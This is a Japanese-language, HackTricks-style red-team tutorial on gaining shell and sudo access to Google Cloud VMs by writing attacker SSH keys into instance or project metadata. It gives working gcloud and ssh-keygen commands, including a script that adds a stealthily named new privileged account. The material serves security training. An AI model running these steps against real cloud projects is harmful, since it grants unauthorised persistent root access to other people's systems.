GCP - Add Custom SSH Metadata

GCP - カスタムSSHメタデータの追加

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

メタデータの変更

インスタンスのメタデータの変更は、攻撃者が必要な権限を取得した場合には重大なセキュリティリスクにつながる可能性があります。

カスタムメタデータへのSSHキーの組み込み

GCPでは、LinuxシステムはしばしばGoogle Compute Engine用Python Linuxゲスト環境からスクリプトを実行します。これの重要なコンポーネントはアカウントデーモンであり、これは定期的にインスタンスのメタデータエンドポイントをチェックして認証済みSSH公開キーの更新を行います。

したがって、攻撃者がカスタムメタデータを変更できれば、デーモンが新しい公開キーを見つけ、それが処理されてローカルシステムに統合されるようにすることができます。そのキーは既存のユーザーの~/.ssh/authorized_keysファイルに追加されるか、キーの形式に応じてsudo権限を持つ新しいユーザーが作成される可能性があります。そして、攻撃者はホストを侵害できるようになります。

既存の特権ユーザーにSSHキーを追加する

  1. インスタンス上の既存のSSHキーを調べる:

  • インスタンスとそのメタデータを説明するコマンドを実行して、既存のSSHキーを特定します。出力の関連セクションはmetadataの下にあり、特にssh-keysキーの下にあります。

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSHキーの形式に注意してください:ユーザー名はコロンで区切られたキーの前にあります。

  1. SSHキーメタデータ用のテキストファイルを準備する:

  • ユーザー名とそれに対応するSSHキーの詳細をmeta.txtという名前のテキストファイルに保存します。これは、新しいキーを追加する際に既存のキーを保持するために重要です。

  1. ターゲットユーザー(この例ではalice)の新しいSSHキーを生成する:

  • ssh-keygenコマンドを使用して新しいSSHキーを生成し、コメントフィールド(-C)がターゲットのユーザー名と一致することを確認します。

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • インスタンスのメタデータで見つかった形式と同様の形式で新しい公開キーをmeta.txtに追加します。

  1. インスタンスのSSHキーメタデータを更新する:

  • gcloud compute instances add-metadataコマンドを使用して、更新されたSSHキーメタデータをインスタンスに適用します。

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 新しいSSHキーを使用してインスタンスにアクセスする:

  • 新しいキーを使用してSSHでインスタンスに接続し、ターゲットユーザー(この例ではalice)のコンテキストでシェルにアクセスします。

ssh -i ./key alice@localhost
sudo id
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

プロジェクトレベルでのSSHキー

クラウド環境内の複数の仮想マシン(VM)へのSSHアクセス範囲を広げるために、プロジェクトレベルでSSHキーを適用することが可能です。このアプローチにより、プロジェクト内の任意のインスタンスにSSHアクセスできるようになります(プロジェクト全体のSSHキーが明示的にブロックされていない場合)。以下は要約したガイドです:

  1. プロジェクトレベルでSSHキーを適用:

  • gcloud compute project-info add-metadataコマンドを使用して、meta.txtからSSHキーをプロジェクトのメタデータに追加します。この操作により、SSHキーがプロジェクト内のすべてのVMで認識されるようになります。ただし、VMが「プロジェクト全体のSSHキーをブロックする」オプションを有効にしていない限りです。

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. プロジェクト全体のキーを使用してインスタンスにSSHする:

  • プロジェクト全体のSSHキーが設定されている場合、プロジェクト内の任意のインスタンスにSSHできます。プロジェクト全体のキーをブロックしていないインスタンスはSSHキーを受け入れ、アクセスを許可します。

  • インスタンスに直接SSHする方法は、gcloud compute ssh [INSTANCE]コマンドを使用することです。このコマンドは、現在のユーザー名とプロジェクトレベルで設定されたSSHキーを使用してアクセスを試みます。

参考文献

最終更新